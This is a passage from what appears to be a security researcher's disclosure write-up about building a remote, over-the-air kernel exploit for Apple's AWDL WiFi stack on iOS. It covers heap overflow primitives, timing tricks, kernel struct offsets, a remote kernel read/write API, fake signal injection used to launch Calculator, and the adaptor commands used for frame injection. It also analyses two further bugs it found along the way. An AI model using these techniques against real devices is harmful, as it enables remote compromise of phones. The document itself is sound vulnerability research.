spoofed peer within a 1024ms period.\n\n** \n**\n\nYou are hopefully starting to see why the ACK sniffing model vs the timing model is advantageous now; if the target had only received 31 frames then attempting the arbitrary add would cause a kernel panic.\n\n** \n**\n\nRecall that at this point however I'm using a 2.4Ghz only WiFi adaptor for injection and monitoring and the only data rate I can get to work is 1Mbps. Actually getting 33 frames onto the air inside 1024ms, especially as only a fraction of that time will be AWDL Availability Windows, is probably impossible.\n\n** \n**\n\nFurthermore, as I suddenly need far more accuracy in terms of knowing whether frames were received or not, I start to notice how unreliable my monitor device is. It appears to be frequently dropping frames, with an error rate seemingly positively-correlated with how long the adapter has been plugged in. After a while my testing model includes having to unplug the injection and monitoring adaptors after each test to let them cool down. This hopefully gives a taste of how frustrating many parts of this exploit development processes were. Without a stable and fast testing setup prototyping ideas is painfully slow, and figuring out whether an idea didn't work is made harder because you never know if your idea didn't work, or if it was yet another hardware failure.\n\n# Changing the clocks\n\nIt's probably impossible to make the timing checks pass using intended behaviour with the current setup. But we still have a few tricks up our sleeve. We do have a memory corruption vulnerability after all.\n\n** \n**\n\nLooking at the two relevant fields per_second_timestamp and n_frames_in_last_second we notice that they're at the following offsets:\n\n** \n**\n\n#### /* +0x1648 */ struct ether_addr sync_tree_macs[10];\n\n#### /* +0x1684 */ uint8_t sync_error_count;\n\n#### /* +0x1685 */ uint8_t had_chanseq_tlv;\n\n#### /* +0x1686 */ uint8_t pad3[2];\n\n#### /* +0x1688 */ uint64_t per_second_timestamp;\n\n#### /* +0x1690 */ uint32_t n_frames_in_last_second;\n\n#### /* +0x1694 */ uint8_t pad21[4];\n\n#### /* +0x1698 */ void *steering_msg_blob;\n\n#### /* +0x16A0 */ uint32_t steering_msg_blob_size;\n\n** \n**\n\nSo the timestamp (which is absolute, not relative) and the frame count are just after the sync tree buffer which we can overflow out of meaning we can reliably corrupt them and provide a fake timestamp and count.\n\n** \n**\n\nArbitrary add idea 1: clock synchronization\n\nMy first idea was to try to determine the delta between the target device's absolute clock and the raspberry pi running the exploit. Then safely triggering an arbitrary add would be a three step process:\n\n** \n**\n\n1) Compute a valid per_second_timestamp value at a point just in the future and do a short overflow within upper_peer to give it that arbitrary timestamp and a high n_frames_in_last_second value.\n\n** \n**\n\n2) Do a long overflow from lower_peer to corrupt upper_peer's peer_manager pointer to point 0x7c80 bytes below the arbitrary add target.\n\n** \n**\n\n3) Spoof a frame from upper_peer where the length corresponds to the size of the arbitrary add. As long as the timestamp we wrote in step 1 is less than 1024 ms earlier than the target device's current current clock, and the n_frames_in_last_second is still large, we'll hit the early error return path.\n\n** \n**\n\nTo pull this off we'll need to synchronize our clocks. AWDL itself is built on accurate timing and there are timing values in each AWDL frame. But they don't really help us that much because those are relative timestamps whereas we need absolute timestamps.\n\n** \n**\n\nLuckily we already have a restricted read primitive, and in fact we've already accidentally used it to leak a timestamp:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQrTgGnPScRftbcVyCJabJ1JieRcgMc8T4UmsEqD_1WBsEIX61HjIu-vqvvt8XKPZSUmcqFNCfT0TIlhF-x2Z3NCXz21KRsBFFGrAy65kl-ESyN055adq3KF3UiKqry73F1XaiVnhIHCfHKogWeCWRlaDUP2D4QWo91VsYKoafqoTJrFfabW5cQn-F/s624/image13%283%29.png>)\n\n### The same annotated hexdump from the initial read primitive when it found two neighbouring peers. At offset +0x43 in the dump we can see the per_second_timestamp value. We'd now like to leak one of these which we force to be set at an exact moment in time\n\n** \n**\n\nWe can use the initial limited arbitrary read primitive again under more controlled conditions to try to determine the clock delta like this:\n\n** \n**\n\n1) Wait 1024 ms.\n\n** \n**\n\n2) Spoof a frame from lower_peer, which will cause it to get a fresh per_second_timestamp.\n\n** \n**\n\n3) When we receive an ACK, record the current timestamp on the raspberry pi.\n\n** \n**\n\n4) Use the BSS Steering read to read lower_peer's timestamp.\n\n** \n**\n\n5) Convert the two timestamps to the same units and compute the delta.\n\n** \n**\n\nNow we can perform the arbitrary write as described above by using the SyncTree overflow inside upper_peer to give it a fake and valid per_second_timestamp and n_frames_in_last_second value. This works, and we can add an arbitrary byte to an arbitrary address!\n\n** \n**\n\nUnfortunately it's not very reliable. There are too many things to go wrong here, and for a painful couple of weeks everything went wrong. Firstly, as previously discussed, the injection and monitoring hardware is just too unreliable. If we miss ACKs we end up getting the clock delta wrong, and if the clock delta is too wrong we'll panic the target. Also, we're still sending frames very slowly, and the slower this all happens the lower the probability that our fake timestamp stays valid by the time it's used. We need an approach which is going to work far more reliably.\n\n# More timing tricks\n\nHaving to synchronize the clocks is fragile. Looking more closely at the code, I realized there was another way to reach the error bail out path without manually syncing.\n\n** \n**\n\nIf we wait 1024ms then spoof a frame, the peer structure will get a fresh timestamp which will pass the timestamp check for the next 1024ms. \n\n** \n**\n\nWe can't do that and then overflow into the n_frames_in_last_second field, because that field is after the per_second_timestamp so we'd corrupt it. But there is actually a way to corrupt the n_frames_in_last_second field without touching the timestamp:\n\n** \n**\n\n1) Wait 1024ms then spoof a valid frame from upper_peer, giving its IO80211AWDLPeer object a valid per_second_timestamp.\n\n** \n**\n\n2) Overflow from lower_peer into upper_peer, setting upper_peer's peer_manager pointer to 0x7c80 bytes before upper_peer's frames_in_last_second counter.\n\n** \n**\n\n3) Spoof a valid frame from upper_peer.\n\n** \n**\n\nLet's look more closely at exactly what will happen now:\n\n** \n**\n\nIt's now the case that this->peer_manager points 0x7c80 before peer->n_frames_in_last_second when IO80211AWDLPeer::actionFrameReport gets called on upper_peer:\n\n** \n**\n\n#### peer_manager = this->peer_manager;\n\n#### frame_len = mbuf_len(frame_mbuf);\n\n** \n**\n\nBecause we've corrupted upper_peer's peer_manager pointer, peer_manager->total_bytes_received overlaps with upper_peer->n_frames_in_last_second, meaning this add will add the frame length to upper_peer->n_frames_in_last_second! The important part is that this write happens before n_frames_in_last_second is checked!\n\n** \n**\n\n#### peer_manager->total_bytes_received += frame_len;\n\n#### ++this->n_frames_in_last_second;\n\n#### per_second_timestamp = this->per_second_timestamp;\n\n#### absolute_time_now = mach_absolute_time();\n\n#### frames_in_last_second = this->n_frames_in_last_second;\n\n** \n**\n\nAnd if we're fast enough we'll still pass this check, because we have a real timestamp:\n\n** \n**\n\n#### if ( ((absolute_time_now - per_second_timestamp) / 1000000)\n\n#### > 1024 )// more than 1024ms difference\n\n#### {\n\n#### ...\n\n#### }\n\n** \n**\n\nand now we'll also pass this check and return:\n\n** \n**\n\n#### else if ( frames_in_last_second >= 0x21 )\n\n#### {\n\n#### *(_DWORD *)(a2 + 20) = 1;\n\n#### return 0;\n\n#### }\n\n** \n**\n\nWe've now got a timestamp still valid for some portion of 1024ms and n_frames_in_last_second is very large, without having to send that many frames within the 1024ms window or having to manually synchronize the clocks.\n\n** \n**\n\nThe fourth step is then to overflow again from lower_peer to upper_peer, this time pointing peer_manager to 0x7c80 below the desired add target. Finally, spoof a frame from upper_peer, padded to the correct size for the desired add value.\n\n# Another timing trick\n\nThe final timing trick for now was to realize we could skip the initial 1024ms wait by first overflowing within upper_peer to set its timestamp to 0. Then the next valid frame spoofed from upper_peer would be sure to set a valid per_second_timestamp usable for the next 1024 ms. In this way we can use the arbitrary write quite quickly, and start building our next primitive. Except...\n\n# I'm still panicking...\n\nEarlier I accidentally discovered another exploitable zero day. Fortunately it was fairly easy to avoid triggering it, but my exploit continued to panic the target device in a multitude of ways. Of course, as before, I'd sort of expect this and indeed I worked out a few ways in which I was potentially causing panics.\n\n** \n**\n\nOne was that when I was overwriting the peer_manager pointer I was also overwriting the flink and blink pointers of the peer in the linked list of peers. If peers had been added or removed from the list since I had taken the copy of those pointers I could now be corrupting the list, potentially adding back stale pointers or altering the order. This was bound to cause problems so I added a workaround: I would ensure that no spoofed peers ever got freed. This is simple to implement; just ensure every peer spoofs a frame around every 20 seconds or so and you'll be fine.\n\n** \n**\n\nBut my test device was still panicking, so I decided to really dig into some of the panics and work out exactly what seems to be happening. Am I accidentally triggering yet another zero-day?\n\n# More accidental zero-day\n\nAfter a day or so of analysis and reversing I realize that yes, this is in fact another exploitable zero-day in AWDL. This is the third, also reachable in the default configuration of iOS.\n\n** \n**\n\nThis vulnerability took significantly more effort to understand than the double free. The condition is more subtle and boils down to a failure to clear a flag. With no upfront knowledge of the names or purposes of these flags (and there are hundreds of flags in AWDL) it required a lot of painstaking reverse engineering to work out what's going on. Let's dive in.\n\n** \n**\n\nresetAndRemovePeerInfo is a member method of the IO80211PeerBssSteeringManager. It's called when a peer is being destructed:\n\n** \n**\n\n#### IO80211PeerBssSteeringManager::resetAndRemovePeerInfo(\n\n#### IO80211AWDLPeer *peer) {\n\n#### \n\n#### struct BssSteeringCntx *cntx;\n\n#### \n\n#### if (!peer) {\n\n#### // log error and return\n\n#### }\n\n#### \n\n#### peer->added_to_fw_cache = 0;\n\n#### \n\n#### struct BssSteeringCntx* cntx = this->steering_cntx;\n\n#### \n\n#### if (cntx->peer_count) {\n\n#### for (uint64_t i = 0; i < cntx->peer_count; i++) {\n\n#### if (memcmp(&cntx->peer_macs[i], &peer->peer_mac, 6uLL) == 0) {\n\n#### memset(&cntx->peer_macs[i], 0, 6uLL); \n\n#### }\n\n#### };\n\n#### }\n\n#### cntx->peer_count--;\n\n#### }\n\n** \n**\n\nWe can see a callsite here in IO80211AWDLPeerManager::removePeer:\n\n** \n**\n\n#### if (peer->added_to_fw_cache) {\n\n#### if (this->steering_manager) {\n\n#### this->steering_manager->resetAndRemovePeerInfo(peer);\n\n#### }\n\n#### }\n\n** \n**\n\nadded_to_fw_cache is a name I have given to the flag field at +0x4b8 in IO80211AWDLPeer. We can see that if a peer with that flag set is destructed then the peer manager will call the steering_manager's resetAndRemovePeerInfo method shown above.\n\n** \n**\n\nresetAndRemovePeerInfo clears that flag then iterates through the steering context object's array of currently-being-steered peer MAC addresses. If the peer being destructed's MAC address is found in there, then it's memset to 0.\n\n** \n**\n\nThe logic already looks a little odd; they decrement peer_count but don't shrink the size of the array by swapping the empty slot with the last valid entry, meaning it will only work correctly if the peers are destructed in the exact reverse order that they were added. Kinda weird, but probably not a security vulnerability.\n\n** \n**\n\nThe logic of this function means peer_count will be decremented each time it runs. But what would happen if this function were called more times than the initial value of peer_count? In the first extra invocation the memcmp loop wouldn't execute and peer_count would be decremented from 0 to 0xffffffff, but in the second extra invocation, the peer_count is non-zero, so it would enter the memcmp/memset loop. But the only loop termination condition is i >= peer_count, so this loop will try to run 4 billion times, certainly going off the end of the 8 entry peer_macs array:\n\n** \n**\n\n#### struct __attribute__((packed)) BssSteeringCntx {\n\n#### /* +0x0000 */ uint32_t first_field;\n\n#### /* +0x0004 */ uint32_t service_type;\n\n#### /* +0x0008 */ uint32_t peer_count;\n\n#### /* +0x000C */ uint32_t role;\n\n#### /* +0x0010 */ struct ether_addr peer_macs[8];\n\n#### /* +0x0040 */ struct ether_addr infraBSSID;\n\n#### /* +0x0046 */ uint8_t pad4[6];\n\n#### /* +0x004\u0421 */ uint32_t infra_channel_from_datapath_tlv;\n\n#### /* +0x0050 */ uint8_t pad8[8];\n\n#### /* +0x0058 */ char ssid[32];\n\n#### /* +0x0078 */ uint8_t pad1[12];\n\n#### /* +0x0084 */ uint32_t num_peers_added_to_umi;\n\n#### /* +0x0088 */ uint8_t pad_10;\n\n#### /* +0x0089 */ uint8_t pendingTransitionToNewState;\n\n#### /* +0x008\u0410 */ uint8_t pad7[2];\n\n#### /* +0x008C */ enum BSSSteeringState current_state;\n\n#### /* +0x0090 */ uint8_t pad5[8];\n\n#### /* +0x0098 */ struct IOTimerEventSource *bssSteeringExpiryTimer;\n\n#### /* +0x00A0 */ struct IOTimerEventSource *bssSteeringStageExpiryTimer;\n\n#### /* +0x00A8 */ uint8_t pad9[8];\n\n#### /* +0x0000 */ uint32_t steering_policy;\n\n#### /* +0x00B4 */ uint8_t inProgress;\n\n#### }\n\n### My reverse engineered version of the BSS Steering context object. I've managed to name most of the fields.\n\n** \n**\n\nThis is only a vulnerability if it's possible to call this function peer_count+2 times. (To decrement peer_count down to 0, then set it to -1, then re-enter with peer_count = -1.)\n\n** \n**\n\nWhether or not resetAndRemovePeerInfo is called when a peer is destructed depends only on whether that peer has the added_to_fw_cache flag set; this gives us an inequality: the number of peer's with added_to_fw_cache set must be less than or equal to peer_count+1. Probably it's really meant to be the case that peer_count should be equal to the number of peers with that flag set. Is that the case?\n\n** \n**\n\nNo, it's not. After steering fails we restart the BSS Steering state machine by sending a new BSSSteering TLV with a steeringMsgID of 6 rather than 0; this means the steering state machine gets a BSS_STEERING_REMOTE_STEERING_TRIGGER event rather than the BSS_STEERING_RECEIVED_DIRECTED_STEERING_CMD which was used to start it. This resets the steering context object, filling the peer_macs array with whatever new peer macs we specify in the new DIRECTED_STEERING_CMD TLV. If we specify different peers to those already in the context's peer_macs array, then those old entries' corresponding IO80211AWDLPeer objects don't have their added_to_fw_cache field cleared, but the new peers do get that flag set.\n\n** \n**\n\nThis means that the number of peers with the flags set becomes greater than context->peer_count, so as the peers eventually get destructed peer_count goes down to zero, underflows then causes memory corruption.\n\n** \n**\n\nI was hitting this condition each time I restarted steering, though it would take some time for the device to actually kernel panic because the steered peers needed to timeout and get destructed.\n\n** \n**\n\nRoot causing this second bonus remotely-triggerable iOS kernel memory corruption was much harder than the first bonus double-free; the explanation given above took a few days work. It was necessary though as I had to work around both of these vulnerabilities to ensure I didn't accidentally trigger them, which in total added a significant amount of extra work. \n\n** \n**\n\nThe work-around in this case was to ensure that I only ever restarted steering the same peers; with that change we no longer hit the peer_count underflow and only corrupt the memory we're trying to corrupt! This issue was fixed in [iOS 13.6 as CVE-2020-9906](<https://support.apple.com/en-us/HT211288>).\n\n** \n**\n\nThe target is no longer randomly kernel panicking even when we don't trigger the intended Sync Tree heap overflow, so let's get back to the exploit.\n\n# Add to read\n\nWe have an arbitrary add primitive but it's not quite an arbitrary write yet. For that, we need to know the original values so we can compute the correct per-byte frame sizes to overflow each byte to write a truly arbitrary value.\n\n** \n**\n\nProbably we'll have to use the arbitrary add to corrupt something in a peer or the peer manager such that we can get it to follow an arbitrary pointer when building an MI or PSF frame which will be sent over the air.\n\n** \n**\n\nI went back to IDA and spent a long time looking through code to search for such a primitive, and found one in the construction of the Service Request Descriptor TLVs in MI frames:\n\n** \n**\n\n#### IO80211AWDLPeerManager::buildMasterIndicationTemplate\n\n#### (char *buffer, u32 total_size ...\n\n#### ...\n\n#### req_desc = this->req_desc;\n\n#### if ( req_desc ){\n\n#### desc_len = req_desc->desc_len; // length\n\n#### desc_ptr = req_desc->desc_ptr;\n\n#### tlv_len = desc_len+4;\n\n#### if (desc_len && desc_ptr && tlv_len < remaining) {\n\n#### buffer[offset] = 16; // type\n\n#### *(u16*)&buffer[offset+1] = desc_len + 1; // len\n\n#### buffer[current_buffer_offset+3] = 3;\n\n#### IO80211ServiceRequestDescriptor::copyDataOnly(\n\n#### req_desc,\n\n#### &buffer[offset+4],\n\n#### total_size - offset - 4);\n\n#### }\n\n** \n**\n\nThis is reading an IO80211ServiceRequestDescriptor object pointer from the peer manager from which it reads another pointer and a length. If there's space in the MI frame for that length of buffer then it calls the RequestDescriptor's copyDataOnly method, which simply copies from the RequestDescriptor into the MI frame template. It's only reading these two pointer and length fields which are at offset +0x40 and +0x54 in the request descriptor, so by pointing the IO80211AWDLPeerManager's req_desc pointer to data we control we can cause the next MI template which is generated to contain data read from an arbitrary address, this time with no restrictions on the data being read.\n\n** \n**\n\nWe can use the limited read primitive we currently have to read the existing value of the req_desc pointer, we just need to find somewhere below it in the peer_manager object where we know there will always be a fixed, small dword we can use as the length value needed for the read. Indeed, a few bytes below this there is such a value.\n\n** \n**\n\nThe first trick is in choosing somewhere to point the req_desc pointer to. We want to choose somewhere where we can easily update the read target without having to trigger the memory corruption. From reading the TLV parsing code I knew there were some TLVs which have very little processing. A good example, and the one I chose to use, is the NSync TLV. The only processing is to check that the total TLV length including the header is less than or equal to 0x40. That entire TLV is then memcpy'ed into a 0x40 byte buffer in the peer object at offset +0x4c4:\n\n** \n**\n\n#### memcpy(this->nsync_tlv_buf, tlv_ptr, tlv_total_len);\n\n** \n**\n\nWe can use the arbitrary write to point the peer_manager's req_desc pointer to just below the lower_peer's nsync_tlv buffer such that by spoofing NSync TLVs from lower_peer we can update the fake descriptor pointer and length values.\n\n** \n**\n\nSome care needs to be taken when corrupting the req_desc pointer however as we can currently only do byte-by-byte writes and the req_desc pointer might be read while we are corrupting it. We therefore need a way to stop those reads.\n\n** \n**\n\nIO80211AWDLPeerManager::updateBroadcastMI is on the critical path for the read, meaning that every time the MI frame is updated it must go through this function, which contains the following check:\n\n** \n**\n\n#### if (this->frames_outstanding <= this->frames_limit) {\n\n#### IO80211AWDLPeerManager::updatePrimaryPayloadMI(...\n\n** \n**\n\nframes_limit is initialized to a fixed value of 3. If we first use the arbitrary add to make frames_outstanding very large, this check will fail and the MI template won't be updated, and the req_desc member won't be read. Then after we're done corrupting the req_desc pointer we can set this value back to its original value and the MI templates will be updated again and the arbitrary read will work.\n\n** \n**\n\nAn easy way to do this is to add 0x80 to the most-significant byte of frames_outstanding. The first time we do this it will make frames_outstanding very large. If it were 2 to begin with it would go from: 0x00000002 to 0x80000002.\n\n** \n**\n\nAdding 0x80 to that MSB as second time would cause it to then overflow back 0, resetting the value to 2 again. This of course has the side effect of adding 1 to the next dword field in the peer_manager when it overflows, but fortunately this doesn't cause any problems.\n\n** \n**\n\nNow by spoofing an NSync TLV from lower_peer and monitoring for a change in the contents of the 0x10 TLV sent by the target in MI frames we can read arbitrary kernel data from arbitrary addresses.\n\n# Speedy reader\n\nWe now have a truly arbitrary read, but unfortunately it can be a bit slow. Sometimes it takes a few seconds for the MI template to be updated. What we need is a way to force the MI template to be regenerated on demand.\n\n** \n**\n\nLooking through the cross references to IO80211AWDLPeerManager::updateBroadcastMI I noticed that it seems the MI template gets regenerated each time the peer bloom filter gets updated in IO80211AWDLPeerManager::updatePeerListBloomFilter. As we saw much earlier in this post, and I had determined months before this point, the bloom filter code isn't used. But... we have an arbitrary add so we could just turn it on!\n\n** \n**\n\nIndeed, by flipping the flag at +0x5950 in the IO80211AWDLPeerManager we can enable the peer bloom filter code.\n\n** \n**\n\nWith peer bloom filters enabled each time the target sees a new peer, it regenerates the MI template in order to ensure it's broadcasting an up-to-date bloom filter containing all the peers it knows about (or at least the first 256 in the peer list.) This means we can make our arbitrary read much much faster: we just need to send the correct NSync TLV containing our read target then spoof a new peer and wait for an updated MI. With this technique complete we can read arbitrary remote kernel memory over the air at a rate of many kilobytes per second.\n\n# Remote kernel memory read/write API\n\nAt this point we can build the typical abstraction layer used by a local privilege escalation exploit, except this time it's remote.\n\n** \n**\n\nThe main kernel memory read function is:\n\n** \n**\n\n#### void* rkbuf(uint64_t kaddr, uint32_t len);\n\n** \n**\n\nWith some helpers to make the code simpler:\n\n** \n**\n\n#### uint64_t rk64(uint64_t kaddr);\n\n#### uint32_t rk32(uint64_t kaddr);\n\n#### uint8_t rk8(uint64_t kaddr);\n\n** \n**\n\nSimilarly for writing kernel memory, we have the main write method:\n\n** \n**\n\n#### void wk8(uint64_t kaddr, uint8_t desired_byte);\n\n** \n**\n\nand some helpers:\n\n** \n**\n\n#### void wkbuf(uint64_t kaddr, uint8_t* desired_value, uint32_t len);\n\n#### void wk64(uint64_t kaddr, uint64_t desired_value);\n\n#### void wk32(uint64_t kaddr, uint32_t desired_value);\n\n** \n**\n\nFrom this point the exploit code starts to look a lot more like a regular local privilege escalation exploit and the remote aspect is almost completely abstracted away.\n\n# Popping calc with 15 bytes\n\nThis is already enough to pop calc. To do this we just need a way to inject a control flow edge into userspace somehow. A bit of grepping through the XNU code and I stumbled across the code handling BSD signal delivery which seemed promising.\n\n** \n**\n\nEach process structure has an array of signal handlers; one per signal number.\n\n** \n**\n\n#### struct sigacts {\n\n#### user_addr_t ps_sigact[NSIG]; /* disposition of signals */\n\n#### user_addr_t ps_trampact[NSIG]; /* disposition of signals */\n\n#### ...\n\n** \n**\n\nThe ps_trampact array contains userspace function pointers. When the kernel wants a userspace process to handle a signal it looks up the signal number in that array:\n\n** \n**\n\n#### trampact = ps->ps_trampact[sig];\n\n** \n**\n\nthen sets the userspace thread's pc value to that:\n\n** \n**\n\n#### sendsig_set_thread_state64(\n\n#### &ts.ts64.ss,\n\n#### catcher,\n\n#### infostyle,\n\n#### sig,\n\n#### (user64_addr_t)&((struct user_sigframe64*)sp)->sinfo,\n\n#### (user64_addr_t)p_uctx,\n\n#### token,\n\n#### trampact,\n\n#### sp,\n\n#### th_act)\n\n** \n**\n\nWhere sendsig_set_thread_state64 looks like this:\n\n** \n**\n\n#### static kern_return_t\n\n#### sendsig_set_thread_state64(arm_thread_state64_t *regs,\n\n#### user64_addr_t catcher,\n\n#### int infostyle,\n\n#### int sig,\n\n#### user64_addr_t p_sinfo,\n\n#### user64_addr_t p_uctx,\n\n#### user64_addr_t token,\n\n#### user64_addr_t trampact,\n\n#### user64_addr_t sp,\n\n#### thread_t th_act) {\n\n#### regs->x[0] = catcher;\n\n#### regs->x[1] = infostyle;\n\n#### regs->x[2] = sig;\n\n#### regs->x[3] = p_sinfo;\n\n#### regs->x[4] = p_uctx;\n\n#### regs->x[5] = token;\n\n#### regs->pc = trampact;\n\n#### regs->cpsr = PSR64_USER64_DEFAULT;\n\n#### regs->sp = sp;\n\n#### \n\n#### return thread_setstatus(th_act,\n\n#### ARM_THREAD_STATE64,\n\n#### (void *)regs,\n\n#### ARM_THREAD_STATE64_COUNT);\n\n#### }\n\n** \n**\n\nThe catcher value in X0 is also completely controlled, read from the ps_sigact array.\n\n** \n**\n\nNote that the kernel APIs for setting userspace register values don't require userspace pointer authentication codes.\n\n** \n**\n\nWe can set X0 to the constant CFString \"com.apple.calculator\" already present in the dyld_shared_cache. On 13.3 on the 11 Pro this is at 0x1BF452778 in an unslid shared cache.\n\n** \n**\n\nWe set PC to this gadget in CommunicationSetupUI.framework:\n\n** \n**\n\n#### MOV W1, #0\n\n#### BL _SBSLaunchApplicationWithIdentifier\n\n** \n**\n\nThis clears W1 then calls SBSLaunchApplicationWithIdentifier, a Springboard Services Framework private API for launching apps.\n\n** \n**\n\nThe final piece of this puzzle is finding a process to inject the fake signal into. It needs to have the com.apple.springboard.launchapplications entitlement in order for Springboard to process the launch request. Using [Jonathan Levin's entitlement database](<http://newosxbook.com/ent.jl>) it's easy to find the list of injection candidates.\n\n** \n**\n\nWe remotely traverse the linked list of running processes looking for a victim, set a fake signal handler then make a thread in that process believe it has to handle a signal by OR'ing in the correct signal number in the uthread's siglist bitmap of pending signals:\n\n** \n**\n\n#### wk8(uthread+0x10c+3, 0x40); // uthread->siglist\n\n** \n**\n\nand finally making the thread believe it needs to handle a BSD [AST](<https://en.wikipedia.org/wiki/Asynchronous_System_Trap>):\n\n** \n**\n\n#### wk8_no_retry(thread+0x2e8, 0x80); // thread->act |= AST_BSD\n\n** \n**\n\nNow, when this thread gets scheduled and tries to handling pending ASTs, it will try to handle our fake signal and a calculator will appear:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCtG-86usduOqcy7FAEqXC9K6rAfX8GhqgR3aVXp8pwE23-FJQybb96UtUssbFBANRLhxBzWllqFKJb-nJjDdiKL9I-r-Vr031IkPb5RohUGyczDU74J9Q8nubTt_w5me5IvdS0uBFhoiOx_4oQ28IkHUo1a5icMYio0pKpDYk5TrdyxxHpox82eG0/s1999/image3.jpg>)\n\n### An iPhone 11 Pro running Calculator.app with a monitor in the background displaying the output from the final stage of the AWDL exploit\n\n# Improving the bootstrap BSS steering read\n\nWe've popped calc, we're done! Or are we? It's kinda slow, and there's no real reason for it to be so slow. We managed to build quite a fast arbitrary read primitive so that's not the bottleneck. The major bottleneck at the moment is the initial BSS Steering-based read. It's taking 8 seconds per read because it needs the state machine to time out between each attempt.\n\n** \n**\n\nAs we saw, however, the BSS Steering TLV indicates that we should be able to steer up to 8 peers at the same time, meaning that we should be able to improve our read speed by at least 8x. In fact, if we can get away with 8 or fewer initial reads our read speed could be much faster than that.\n\n** \n**\n\nHowever, when you try to steer 8 peers simultaneously, it doesn't quite work as expected:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoqu7rkcydj4tR352L3W41rz5-i-_rx4GLxganrGyNA-jlojnjRSvciOEBXpWjfg_SBr2c-X7SmpUkTz430S9K61MN-yzP-jJXprmJXvPtF8zmwyjbaFxJS0BIa2UYm70HxKw20I_twsAXwO9y-qspfpmnm_BJzlTw73Cd0AhK-RuFPi6HSGW6B6Fv/s1432/image8%283%29.png>)\n\n### When multiple peers are steered the UMIs flood the airwaves. In this example I was steering 8 peers but the frames are dominated by UMIs to the first peer. You can see a handful of UMIs to :06, and one to :02 amongst the dozens to :00.\n\n** \n**\n\nTesting against MacOS we also see the following log message:\n\n** \n**\n\n#### Peer 22:22:aa:22:00:00 DID NOT ack our UMI\n\n** \n**\n\nWhen the target tries to steer 8 peers at the same time it starts flooding the airwaves with UMI frames directed at the target peers - so many in fact that it never actually manages to send the UMIs for all 8 steering targets before timing out.\n\n** \n**\n\nWe've already covered how to stall the initial sending of UMIs by controlling the channel sequence, but it looks like we're also going to have to ACK the UMI frames.\n\n# ACK a MAC?\n\nAs we saw earlier, ACKs in 80211.a and g are timing based. To ACK a frame you have to send the ACK in the short window following the transmission of the frame. We definitely can't do that using libpcap, the timing needs microsecond precision. We probably can't even do that with a custom kernel driver.\n\n** \n**\n\nThere is however an obscure WiFi adaptor monitor mode feature called \"Active Monitor Mode\", supported by very few chipsets.\n\n** \n**\n\nActive monitor mode allows you to inject and monitor arbitrary frames as usual, except in active monitor mode (as opposed to regular monitor mode) the adaptor will still ACK frames if they're being sent to its MAC address.\n\n** \n**\n\nThe Mediatek MT76 chipset was the only one I could find with a USB adaptor that supports this feature. I bought a bunch of MT76-based adaptors and the only one where I could actually get this feature to work was the [ZyXEL NWD6605](<https://www.zyxel.com/products_services/Dual-Band-Wireless-AC1200-USB-Adapter-NWD6605/downloads>) which uses an mt76x2u chipset.\n\n** \n**\n\nThe only issue was that I could only get Active Monitor Mode to actually work when running at 12 Mbps on a 5GHz channel but my current setup was using adaptors which were not capable of 5GHz injection.\n\n# Moving to 5GHz\n\nI had tried right back at the beginning of the exploit development process to get 5GHz injection and monitoring to work; after trying for a week with lots of adaptors and building many, many branches of kernel drivers and fiddling with radiotap headers I had given up and decided to focus on getting something working on 2.4GHz with my old adaptors.\n\n** \n**\n\nThis time around I just bought all the adaptors I could find which looked like they might have even the remotest possibility of working and tried again.\n\n** \n**\n\nOne of the challenges is that OEMs won't consistently use the same chipset or revision of chipset in a device, which means getting hold of a particular chipset and revision can be a hit-and-miss process.\n\n** \n**\n\nHere are all the adaptors which I used during this exploit to try to find support for the features I wanted:\n\n** \n**\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCSN7-FcFfTxmEfgG3oRhOBxZxlkHBVXO1PyyJNeuw10ZSfiAJPflTGHAkkSrjJ_PC_puVlJio-mWRnHQclb3_LokbawwgmzH901lI2p4ds2xWzCIsZzpXSx8OaukoP5xKxZ8W23ihLamAjnJJpzJmBVAkCVJnO-QApqpV4Pmpu1FzeOZq9V-WmBgN/s1939/image34.jpg>)\n\n### All the WiFi adaptors tested during this exploit development process, from top left to bottom right: D-Link DWA-125, Netgear WG111-v2, Netgear A6210, ZyXEL NWD6605, ASUS USB-AC56, D-Link DWA-171, Vivanco 36665, tp-link Archer T1U, Microsoft Xbox wireless adaptor Model 1790, Edimax EW-7722UTn V2, FRITZ!WLAN AC430M, ASUS USB-AC68, tp-link AC1300\n\n** \n**\n\nIn the end I required two different adaptors to get the features I wanted:\n\n** \n**\n\nActive monitor mode and frame injection: [ZyXEL NWD6605](<https://www.zyxel.com/products_services/Dual-Band-Wireless-AC1200-USB-Adapter-NWD6605/downloads>) using [mt76x2u](<https://github.com/openwrt/mt76>) driver\n\n** \n**\n\nMonitor mode (including management and ACK frames): Netgear A6210 using [rtl8812au](<https://github.com/aircrack-ng/rtl8812au>) driver\n\n** \n**\n\nWith this setup I was able to get frame injection, monitor mode sniffing of all frames including management and ACK frames as well as Active monitor mode to work at 12 Mbps on channel 44.\n\n# Working with Active Monitor Mode\n\nYou can enable the feature like this:\n\n** \n**\n\n#### ip link set dev wlan1 down\n\n#### iw dev wlan1 set type monitor\n\n#### iw dev wlan1 set monitor active control otherbss\n\n#### ip link set dev wlan1 up\n\n#### iw dev wlan1 set channel 44\n\n** \n**\n\nWe can change the card's MAC address using the ip tool like this:\n\n** \n**\n\n#### ip link set dev wlan1 down\n\n#### ip link set wlan1 address 44:44:22:22:22:22\n\n#### ip link set dev wlan1 up\n\n** \n**\n\nChanging the MAC address like this takes at least a second and the interface has to be down. Since we're trying to make these reads as fast as possible I decided to take a look at how this mac address changing actually worked to see if I could speed it up...\n\n** \n**\n\nThree ways to set a MAC: 1 - ioctl\n\nThe old way to set a network device MAC address is to use the SIOCSIFHWADDR ioctl:\n\n** \n**\n\n#### struct ifreq ifr = {0};\n\n#### uint8_t mac[6] = {0x22, 0x23, 0x24, 0x00, 0x00, 0x00};\n\n#### memcpy(&ifr.ifr_hwaddr.sa_data[0], mac, 6);\n\n#### int s = socket(AF_INET, SOCK_DGRAM, 0);\n\n#### strcpy(ifr.ifr_name, \"wlan1\");\n\n#### ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;\n\n#### int ret = ioctl(s, SIOCSIFHWADDR, &ifr);\n\n#### printf(\"ioctl retval: %d\\n\", ret);\n\n** \n**\n\nThis interface is deprecated and doesn't work at all for this driver.\n\n** \n**\n\nThree ways to set a 